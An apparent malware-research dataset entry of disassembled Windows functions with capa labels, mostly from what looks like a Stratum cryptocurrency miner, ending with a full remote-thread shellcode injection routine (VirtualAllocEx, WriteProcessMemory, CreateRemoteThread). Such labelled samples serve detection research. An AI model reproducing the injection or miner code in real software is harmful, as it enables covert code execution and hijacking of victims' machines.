joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400331e0
Capabilities:
Resolve dns

Disassembly:
sub rsp, 0x68
mov rax, qword [0x14010b358]
xor rax, rsp
mov qword [rsp + 0x50], rax
mov byte [rsp + 0x30], 0
call qword [sym.imp.WS2_32.dll_gethostbyname]
test rax, rax
jne 0x140033215
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.140088760
add rsp, 0x68
ret
mov rax, qword [rax + 0x18]
mov qword [rsp + 0x78], rbx
mov qword [rsp + 0x80], rbp
mov rcx, qword [rax]
mov qword [rsp + 0x88], rsi
mov qword [rsp + 0x60], rdi
or edi, 0xffffffff
test rcx, rcx
je 0x140033240
mov edi, dword [rcx]
mov r10d, edi
mov esi, edi
mov ebp, edi
shr r10d, 0x18
shr esi, 0x10
movzx ebx, dil
movzx eax, sil
mov dword [rsp + 0x28], r10d
shr ebp, 8
lea rdx, str._d._d._d._d
lea rcx, [rsp + 0x30]
mov r8d, ebx
movzx r9d, bpl
mov dword [rsp + 0x20], eax
call fcn.140089494
cmp ebx, 0xff
mov rbx, qword [rsp + 0x78]
je 0x14003329a
movzx r8d, sil
movzx edx, bpl
movzx ecx, dil
call fcn.140033150
jmp 0x14003329c
xor al, al
mov rsi, qword [rsp + 0x88]
mov rbp, qword [rsp + 0x80]
mov rdi, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.140088760
add rsp, 0x68
ret

Function at 0x1400332d0
Capabilities:
Set socket configuration

Disassembly:
push rbx
sub rsp, 0x70
mov rax, qword [0x14010b358]
xor rax, rsp
mov qword [rsp + 0x68], rax
lea r9, [rsp + 0x50]
mov edx, 0xffff
mov r8d, 8
mov rbx, rcx
mov dword [rsp + 0x50], 1
mov dword [rsp + 0x20], 1
call qword [sym.imp.WS2_32.dll_setsockopt]
xor ecx, ecx
lea rax, [rsp + 0x54]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], rcx
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], ecx
lea r9d, [rcx + 0xc]
mov qword [rsp + 0x20], rcx
lea r8, [rsp + 0x58]
mov rcx, rbx
mov edx, 0x98000004
mov dword [rsp + 0x58], 1
mov dword [rsp + 0x5c], 0xc350
mov dword [rsp + 0x60], 0xc350
call qword [sym.imp.WS2_32.dll_WSAIoctl]
xor eax, eax
mov rcx, qword [rsp + 0x68]
xor rcx, rsp
call fcn.140088760
add rsp, 0x70
pop rbx
ret
Function at 0x140033700
Capabilities:
Send data
Send data on socket

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rbx, rdx
mov r8, rdx
mov rdi, rcx
lea rdx, str.send:__s_n
mov ecx, 2
call fcn.140010790
or r8, 0xffffffffffffffff
cmp dword [rdi + 0x1000c], 0
je 0x140033750
inc r8
cmp byte [rbx + r8], 0
jne 0x140033731
mov rcx, qword [rdi + 0x10010]
mov rdx, rbx
call fcn.1401a43ba
int3
inc r8
cmp byte [rbx + r8], 0
jne 0x140033750
mov rcx, qword [rdi]
xor r9d, r9d
mov rdx, rbx
call qword [sym.imp.WS2_32.dll_send]
test eax, eax
jg 0x1400337ac
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
je 0x1400337ac
lea r8, str.Stratum___socket_send_failed__d__disconnect_n
mov r9d, eax
mov edx, 3
xor ecx, ecx
call fcn.140010980
mov rcx, qword [rdi]
call qword [sym.imp.WS2_32.dll_closesocket]
xor eax, eax
mov qword [rdi], rax
mov dword [rdi + 8], eax
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
mov al, 1
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x140033970
Capabilities:
Get socket status
Receive data
Receive data on socket
Set socket configuration

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r14
sub rsp, 0x260
mov rax, qword [0x14010b358]
xor rax, rsp
mov qword [rsp + 0x250], rax
xor edi, edi
movzx r14d, dl
mov rbx, rcx
mov esi, edi
mov ebp, edi
mov dword [rsp + 0x30], edi
cmp qword [rcx], rsi
je 0x140033a0e
nop dword [rax]
mov rax, qword [rbx]
lea rdx, [rsp + 0x40]
xor r9d, r9d
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x38]
xor r8d, r8d
xor ecx, ecx
mov dword [rsp + 0x40], 1
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x20], rax
call qword [sym.imp.WS2_32.dll_select]
cmp eax, 1
je 0x140033a49
test r14b, r14b
je 0x140033b6c
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
inc esi
cmp esi, 0x12c
jg 0x140033a33
cmp qword [rbx], rdi
jne 0x1400339b0
mov ebp, dword [rsp + 0x30]
mov r8d, dword [rbx + 8]
lea eax, [r8 + rbp]
cmp eax, 0x2000
jbe 0x140033a89
lea rdx, str.buf_overflow:__d__d_n
mov r9d, ebp
mov ecx, 2
call fcn.140010790
jmp 0x140033a73
lea rdx, str.checkread_timeout_n
mov ecx, 2
call fcn.140010790
jmp 0x140033b6c
mov rcx, qword [rbx]
lea r8, [rsp + 0x30]
mov edx, 0x4004667f
call qword [sym.imp.WS2_32.dll_ioctlsocket]
mov ebp, dword [rsp + 0x30]
test ebp, ebp
jne 0x140033a0e
lea rdx, str.socket_was_closed_remotely_n
lea ecx, [rbp + 2]
call fcn.140010790
mov rcx, qword [rbx]
call qword [sym.imp.WS2_32.dll_closesocket]
mov qword [rbx], rdi
mov dword [rbx + 8], edi
xor al, al
jmp 0x140033b6e
mov ecx, ebp
call fcn.140089b68
mov r8d, ebp
mov rsi, rax
mov rdx, rax
cmp dword [rbx + 0x1000c], edi
je 0x140033ab0
mov rcx, qword [rbx + 0x10010]
call 0x140478c34
int3
mov rcx, qword [rbx]
xor r9d, r9d
call qword [sym.imp.WS2_32.dll_recv]
mov ebp, eax
test eax, eax
jg 0x140033aef
mov rcx, rsi
call fcn.140089874
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
je 0x140033a82
lea r8, str.Stratum___reading_socket_failed__d__disconnect_n
mov r9d, eax
mov edx, 3
xor ecx, ecx
call fcn.140010980
jmp 0x140033a73
movsxd rax, dword [rbx + 8]
lea rcx, [rbx + 0xc]
movsxd r8, ebp
add rcx, rax
mov rdx, rsi
call fcn.1400889a0
add dword [rbx + 8], ebp
mov rcx, rsi
call fcn.140089874
lea rdx, str.got__d_bytes_n
mov r8d, ebp
mov ecx, 2
call fcn.140010790
movsxd rax, dword [rbx + 8]
lea rsi, [rbx + 0xc]
lea rdx, str.buf:__s_n
mov r8, rsi
mov ecx, 2
mov byte [rax + rbx + 0xc], dil
call fcn.140010790
mov ecx, edi
cmp dword [rbx + 8], ecx
jle 0x140033b69
mov rax, rsi
nop
movzx edx, byte [rax]
cmp dl, 0x20
je 0x140033b5f
mov byte [rsi], dl
inc edi
inc rsi
inc ecx
inc rax
cmp ecx, dword [rbx + 8]
jl 0x140033b50
mov dword [rbx + 8], edi
mov al, 1
mov rcx, qword [rsp + 0x250]
xor rcx, rsp
call fcn.140088760
lea r11, [rsp + 0x260]
mov rbx, qword [r11 + 0x28]
mov rbp, qword [r11 + 0x30]
mov rsp, r11
pop r14
pop rdi
pop rsi
ret
Function at 0x14003a440
Capabilities:
Write file on windows

Disassembly:
sub rsp, 0x28
cmp dword [0x140136cd8], 0
mov r9, rdx
jne 0x14003a53c
cmp qword [0x14012e550], 0
jne 0x14003a473
lea rdx, str.df_has_empty_pool__skip_n
mov ecx, 2
add rsp, 0x28
jmp fcn.140010790
cmp qword [0x14012e558], 0x10
lea rax, [0x14012e540]
cmovae rax, qword [0x14012e540]
sub r9, rax
nop dword [rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r9]
sub edx, ecx
jne 0x14003a4a3
inc rax
test ecx, ecx
jne 0x14003a490
test edx, edx
jne 0x14003a4c5
cmp dword [0x14012e560], r8d
jne 0x14003a4c5
lea rdx, str.df_has_same_pool__skip_n
mov ecx, 2
add rsp, 0x28
jmp fcn.140010790
lea rdx, str.df_has_different_pool__disconnect_n
mov ecx, 2
mov qword [rsp + 0x20], rbx
call fcn.140010790
xor ebx, ebx
cmp dword [0x14012e530], ebx
je 0x14003a501
mov rcx, qword [0x14011e2b8]
call qword [sym.imp.WS2_32.dll_closesocket]
mov qword [0x14011e2b8], rbx
mov dword [0x14011e2c0], ebx
jmp 0x14003a50d
lea rcx, [0x14012e5a8]
call fcn.14002a4c0
cmp byte [0x14011e2b0], bl
je 0x14003a52b
mov byte [0x140135b2a], bl
mov dword [0x140135864], ebx
mov rbx, qword [rsp + 0x20]
add rsp, 0x28
ret
mov byte [0x140135b29], bl
mov dword [0x140135844], ebx
mov rbx, qword [rsp + 0x20]
add rsp, 0x28
ret

Function at 0x14003a660
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rdi, qword [0x140139b38]
mov dword [0x140135b64], 1
lea rcx, [rdi + 0x38]
mov dword [rdi + 0x78], 0
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rdi
call fcn.14000f600
lea rcx, [rdi + 0x38]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
xor ecx, ecx
call fcn.14008b658
int3
Function at 0x14003aa00
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x28
call fcn.14003a600
mov rcx, qword [0x14010dc10]
cmp rcx, 0xffffffffffffffff
je 0x14003aa1c
call qword [sym.imp.WS2_32.dll_closesocket]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
xor ecx, ecx
call fcn.14008b658
int3

Function at 0x14003aa40
Capabilities:
Accept command line arguments
Create process on windows
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0xe0
cmp dword [0x140135b34], 1
je 0x14003ab6b
mov rdi, qword [0x140139b38]
xor esi, esi
mov dword [0x140135b64], 1
lea rcx, [rdi + 0x38]
mov dword [rdi + 0x78], esi
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rdi
call fcn.14000f600
lea rcx, [rdi + 0x38]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov rcx, qword [0x14010dc10]
cmp rcx, 0xffffffffffffffff
je 0x14003aaac
call qword [sym.imp.WS2_32.dll_closesocket]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov rbx, rax
test rax, rax
je 0x14003ab56
xor edx, edx
lea rcx, [rsp + 0x70]
lea r8d, [rdx + 0x68]
call fcn.140091e20
lea rax, [rsp + 0x50]
xor r9d, r9d
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x70]
xor r8d, r8d
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rsi
mov rdx, rbx
xor ecx, ecx
mov dword [rsp + 0x28], esi
mov dword [rsp + 0x20], esi
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x14003abdc
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str.Restarting_failed:_error__d_n
xor ecx, ecx
mov r8d, eax
call fcn.140010790
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea r11, [rsp + 0xe0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret
lea rdx, str.Rebooting_n
xor ecx, ecx
call fcn.140010790
call fcn.14003a6d0
mov rdi, qword [0x140139b38]
lea rcx, [rdi + 0x38]
xor esi, esi
mov dword [0x140135b64], 1
mov dword [rdi + 0x78], esi
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rdi
call fcn.14000f600
lea rcx, [rdi + 0x38]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
xor ecx, ecx
call fcn.14008b658
int3
lea rdx, str.Restarting_OK__exit..._n_n_n
xor ecx, ecx
call fcn.140010790
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call fcn.14008b658
int3
Function at 0x140069fc0
Capabilities:
Create thread
Resume thread

Disassembly:
push rbx
sub rsp, 0x30
lea rax, [rcx + 8]
mov rbx, rcx
mov r9, rcx
mov qword [rsp + 0x28], rax
lea r8, [0x140069fb0]
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], 4
call fcn.14008d6dc
mov qword [rbx + 0x18], rax
test rax, rax
jne 0x140069ffc
add rsp, 0x30
pop rbx
ret
mov edx, dword [rbx + 0x10]
test edx, edx
je 0x14006a00c
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetThreadPriority]
cmp byte [rbx + 0xc], 0
jne 0x14006a01c
mov rcx, qword [rbx + 0x18]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov al, 1
add rsp, 0x30
pop rbx
ret
Function at 0x14006f9c0
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
jmp 0x14006fab0
push rdi
push r14
push r15
sub rsp, 0x30
mov qword [rsp + 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x68], rsi
mov ecx, dword [0x14010a240]
cmp ecx, 0xffffffff
jne 0x14006fadd
xor r14d, r14d
jmp 0x14006fae6
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov r14, rax
mov qword [rsp + 0x50], r14
test r14, r14
je 0x14006fc18
mov rdi, qword [r14 + 0x18]
cmp qword [r14 + 0x28], 0
jne 0x14006fb0a
test rdi, rdi
je 0x14006fbf1
jmp 0x14006fb10
test rdi, rdi
je 0x14006fb64
nop
mov rax, qword [rdi + 8]
mov qword [r14 + 0x18], rax
mov rcx, qword [rdi]
test rcx, rcx
je 0x14006fb47
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
mov rbx, qword [rdi]
mov rax, qword [rbx]
xor edx, edx
mov rcx, rbx
call qword [rax]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rcx, rax
mov r8, rbx
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rcx, rax
mov r8, rdi
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rdi, qword [r14 + 0x18]
test rdi, rdi
jne 0x14006fb10
mov rsi, qword [r14 + 0x20]
mov rbx, qword [rsi]
cmp rbx, rsi
je 0x14006faf4
mov rdi, rbx
cmp byte [rbx + 0x19], 0
jne 0x14006fbbe
mov rax, qword [rbx + 0x10]
cmp byte [rax + 0x19], 0
jne 0x14006fb9e
mov rbx, rax
mov rax, qword [rax]
cmp byte [rax + 0x19], 0
jne 0x14006fbbe
nop
mov rbx, rax
mov rax, qword [rax]
cmp byte [rax + 0x19], 0
je 0x14006fb90
jmp 0x14006fbbe
mov rax, qword [rbx + 8]
cmp byte [rax + 0x19], 0
jne 0x14006fbbb
cmp rbx, qword [rax + 0x10]
jne 0x14006fbbb
mov rbx, rax
mov rax, qword [rax + 8]
cmp byte [rax + 0x19], 0
je 0x14006fba8
mov rbx, rax
mov rcx, qword [rdi + 0x28]
test rcx, rcx
je 0x14006fbd6
mov rdx, qword [rdi + 0x38]
test rdx, rdx
je 0x14006fbd6
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
mov r8, rdi
lea rdx, [rsp + 0x58]
lea rcx, [r14 + 0x20]
call fcn.14006efa0
cmp rbx, rsi
jne 0x14006fb70
jmp 0x14006faf4
lea rdx, [0x14006ef80]
lea rcx, [0x140131650]
call fcn.14006ed60
mov ecx, dword [0x14010a240]
cmp ecx, 0xffffffff
je 0x14006fc18
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
nop
test r14, r14
je 0x14006fc42
lock dec dword [r14 + 8]
jne 0x14006fc42
mov rax, qword [r14]
xor edx, edx
mov rcx, r14
call qword [rax]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rcx, rax
mov r8, r14
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rbx, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x68]
add rsp, 0x30
pop r15
pop r14
pop rdi
ret
Function at 0x14006fab0
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
jmp 0x14006fab0
push rdi
push r14
push r15
sub rsp, 0x30
mov qword [rsp + 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x68], rsi
mov ecx, dword [0x14010a240]
cmp ecx, 0xffffffff
jne 0x14006fadd
xor r14d, r14d
jmp 0x14006fae6
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov r14, rax
mov qword [rsp + 0x50], r14
test r14, r14
je 0x14006fc18
mov rdi, qword [r14 + 0x18]
cmp qword [r14 + 0x28], 0
jne 0x14006fb0a
test rdi, rdi
je 0x14006fbf1
jmp 0x14006fb10
test rdi, rdi
je 0x14006fb64
nop
mov rax, qword [rdi + 8]
mov qword [r14 + 0x18], rax
mov rcx, qword [rdi]
test rcx, rcx
je 0x14006fb47
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
mov rbx, qword [rdi]
mov rax, qword [rbx]
xor edx, edx
mov rcx, rbx
call qword [rax]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rcx, rax
mov r8, rbx
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rcx, rax
mov r8, rdi
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rdi, qword [r14 + 0x18]
test rdi, rdi
jne 0x14006fb10
mov rsi, qword [r14 + 0x20]
mov rbx, qword [rsi]
cmp rbx, rsi
je 0x14006faf4
mov rdi, rbx
cmp byte [rbx + 0x19], 0
jne 0x14006fbbe
mov rax, qword [rbx + 0x10]
cmp byte [rax + 0x19], 0
jne 0x14006fb9e
mov rbx, rax
mov rax, qword [rax]
cmp byte [rax + 0x19], 0
jne 0x14006fbbe
nop
mov rbx, rax
mov rax, qword [rax]
cmp byte [rax + 0x19], 0
je 0x14006fb90
jmp 0x14006fbbe
mov rax, qword [rbx + 8]
cmp byte [rax + 0x19], 0
jne 0x14006fbbb
cmp rbx, qword [rax + 0x10]
jne 0x14006fbbb
mov rbx, rax
mov rax, qword [rax + 8]
cmp byte [rax + 0x19], 0
je 0x14006fba8
mov rbx, rax
mov rcx, qword [rdi + 0x28]
test rcx, rcx
je 0x14006fbd6
mov rdx, qword [rdi + 0x38]
test rdx, rdx
je 0x14006fbd6
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
mov r8, rdi
lea rdx, [rsp + 0x58]
lea rcx, [r14 + 0x20]
call fcn.14006efa0
cmp rbx, rsi
jne 0x14006fb70
jmp 0x14006faf4
lea rdx, [0x14006ef80]
lea rcx, [0x140131650]
call fcn.14006ed60
mov ecx, dword [0x14010a240]
cmp ecx, 0xffffffff
je 0x14006fc18
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
nop
test r14, r14
je 0x14006fc42
lock dec dword [r14 + 8]
jne 0x14006fc42
mov rax, qword [r14]
xor edx, edx
mov rcx, r14
call qword [rax]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rcx, rax
mov r8, r14
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rbx, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x68]
add rsp, 0x30
pop r15
pop r14
pop rdi
ret

Function at 0x140072c40
Capabilities:
Encode data using xor

Disassembly:
xor r8d, r8d
mov r10, rcx
cmp rcx, rdx
je 0x140072c77
mov r11d, 0x9e3779b9
movsx rcx, byte [r10]
mov r9, r8
mov rax, r8
shr rax, 2
shl r9, 6
inc r10
add rax, r9
add rax, r11
add rcx, rax
xor r8, rcx
cmp r10, rdx
jne 0x140072c51
movabs rax, 0x200009c482fb3f8b
mul r8
shr rdx, 0x1c
imul edx, edx, 0x7fffd8ee
sub r8d, edx
lea eax, [r8 + 0x2710]
ret
Function at 0x1400739a0
Capabilities:
Encode data using xor

Disassembly:
sub rsp, 0x28
xor r10d, r10d
mov qword [rsp + 0x38], rbx
mov dword [rsp + 0x30], r9d
mov rbx, rcx
cmp rdx, r8
je 0x1400739e6
mov r11d, 0x9e3779b9
nop
movsx rcx, byte [rdx]
mov r9, r10
mov rax, r10
shr rax, 2
shl r9, 6
inc rdx
add rax, r9
add rax, r11
add rcx, rax
xor r10, rcx
cmp rdx, r8
jne 0x1400739c0
movabs rax, 0x200009c482fb3f8b
lea rcx, [rsp + 0x30]
mul r10
mov rax, qword [rbx + 8]
shr rdx, 0x1c
imul edx, edx, 0x7fffd8ee
sub r10d, edx
add r10d, 0x2710
mov dword [rsp + 0x34], r10d
cmp rcx, rax
jae 0x140073a65
mov rcx, qword [rbx]
lea rdx, [rsp + 0x30]
cmp rcx, rdx
ja 0x140073a65
mov qword [rsp + 0x20], rdi
lea rdi, [rsp + 0x30]
sub rdi, rcx
sar rdi, 3
cmp rax, qword [rbx + 0x10]
jne 0x140073a4b
mov edx, 1
mov rcx, rbx
call fcn.140076cf0
mov rdx, qword [rbx + 8]
test rdx, rdx
je 0x140073a5e
mov rax, qword [rbx]
mov rcx, qword [rax + rdi*8]
mov qword [rdx], rcx
mov rdi, qword [rsp + 0x20]
jmp 0x140073a89
cmp rax, qword [rbx + 0x10]
jne 0x140073a78
mov edx, 1
mov rcx, rbx
call fcn.140076cf0
mov rcx, qword [rbx + 8]
test rcx, rcx
je 0x140073a89
mov rax, qword [rsp + 0x30]
mov qword [rcx], rax
add qword [rbx + 8], 8
mov rax, qword [rbx + 8]
mov rcx, qword [rbx]
mov rbx, qword [rsp + 0x38]
cmp rcx, rax
je 0x140073ae3
add rax, 0xfffffffffffffff8
cmp rax, rcx
je 0x140073ae3
lea rdx, [rax - 4]
nop dword [rax]
mov r8d, dword [rdx]
cmp dword [rdx + 8], r8d
jge 0x140073ae3
mov r8d, dword [rax]
mov r9d, dword [rdx - 4]
sub rax, 8
mov dword [rdx - 4], r8d
mov dword [rax + 8], r9d
mov r8d, dword [rdx + 8]
mov r9d, dword [rdx]
mov dword [rdx], r8d
sub rdx, 8
mov dword [rdx + 0x10], r9d
cmp rax, rcx
jne 0x140073ab0
add rsp, 0x28
ret

Function at 0x14008b658
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
xor edx, edx
jmp fcn.14008b4c0

Function at 0x140093ae0
Capabilities:
Terminate process

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov ecx, 1
mov dword [0x140131d40], eax
call fcn.140097f50
mov rcx, rbx
call fcn.140093b00
cmp dword [0x140131d40], 0
jne 0x140089e46
mov ecx, 1
call fcn.140097f50
mov ecx, 0xc0000409
add rsp, 0x20
pop rbx
jmp 0x140093ae0
push rbx
sub rsp, 0x20
mov ebx, ecx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, ebx
mov rcx, rax
add rsp, 0x20
pop rbx
jmp qword [sym.imp.KERNEL32.dll_TerminateProcess]
Function at 0x14014e790
Capabilities:
Encode data using base64

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r12
sub rsp, 0x50
mov r12, r9
mov rsi, r8
mov rbx, rdx
mov rdi, rcx
test r8, r8
jne 0x14014e7bd
xor al, al
jmp 0x14014e91f
mov rax, qword [0x14016e670]
lea rcx, [rsp]
xor r11d, r11d
mov qword [rcx], rax
mov rax, qword [0x14016e678]
mov qword [rsp + 0x60], rbp
mov qword [rcx + 8], rax
mov rax, qword [0x14016e680]
mov rdx, r11
mov qword [rcx + 0x10], rax
mov rax, qword [0x14016e688]
mov qword [rcx + 0x18], rax
mov rax, qword [0x14016e690]
mov qword [rcx + 0x20], rax
mov rax, qword [0x14016e698]
mov qword [rcx + 0x28], rax
mov rax, qword [0x14016e6a0]
mov qword [rcx + 0x30], rax
mov rax, qword [0x14016e6a8]
mov qword [rcx + 0x38], rax
movzx eax, byte [0x14016e6b0]
mov byte [rcx + 0x40], al
mov rax, qword [r9]
mov rcx, r8
lea rbp, [r8 + rax]
test rbx, rbx
je 0x14014e911
add r8, 4
nop word [rax + rax]
movzx r9d, byte [rdx + rdi]
inc rdx
shl r9d, 0x10
cmp rdx, rbx
jne 0x14014e869
mov r11d, 2
jmp 0x14014e88d
movzx eax, byte [rdx + rdi]
inc rdx
shl eax, 8
or r9d, eax
cmp rdx, rbx
jne 0x14014e883
mov r11d, 1
jmp 0x14014e88d
movzx eax, byte [rdx + rdi]
or r9d, eax
inc rdx
mov r10d, r9d
and r9d, 0x3f
cmp r8, rbp
ja 0x14014e935
mov rax, r10
shr rax, 0x12
and eax, 0x3f
movzx eax, byte [rsp + rax]
mov byte [rcx], al
mov rax, r10
shr rax, 0xc
and eax, 0x3f
movzx eax, byte [rsp + rax]
mov byte [rcx + 1], al
cmp r11, 1
jbe 0x14014e8d2
mov byte [rcx + 2], 0x3d
add rcx, 3
add r8, 3
jmp 0x14014e8ea
shr r10, 6
add rcx, 3
and r10d, 0x3f
add r8, 3
movzx eax, byte [rsp + r10]
mov byte [rcx - 1], al
test r11, r11
je 0x14014e8fa
mov byte [rcx], 0x3d
inc rcx
inc r8
jmp 0x14014e908
movzx eax, byte [rsp + r9]
inc rcx
inc r8
mov byte [rcx - 1], al
cmp rdx, rbx
jb 0x14014e850
sub rcx, rsi
mov al, 1
mov qword [r12], rcx
mov rbp, qword [rsp + 0x60]
mov rbx, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
mov rdi, qword [rsp + 0x78]
add rsp, 0x50
pop r12
ret
xor al, al
jmp 0x14014e91a
Function at 0x140001070
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x40
mov rcx, qword [rdx + 8]
mov rbx, rdx
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atoi]
mov edx, eax
lea rcx, str.PID:__i
call fcn.140001010
mov rcx, qword [rbx + 8]
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atoi]
xor edx, edx
mov ecx, 0x1fffff
mov r8d, eax
call qword [sym.imp.KERNEL32.dll_OpenProcess]
xor edx, edx
mov dword [rsp + 0x20], 0x40
mov rcx, rax
mov r9d, 0x3000
mov r8d, 0x114
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
xor esi, esi
lea r8, [0x140003040]
mov rdx, rax
mov qword [rsp + 0x20], rsi
mov r9d, 0x114
mov rcx, rdi
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov qword [rsp + 0x30], rsi
mov r9, rbx
mov dword [rsp + 0x28], esi
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, qword [rsp + 0x50]
xor eax, eax
mov rsi, qword [rsp + 0x58]
add rsp, 0x40
pop rdi
ret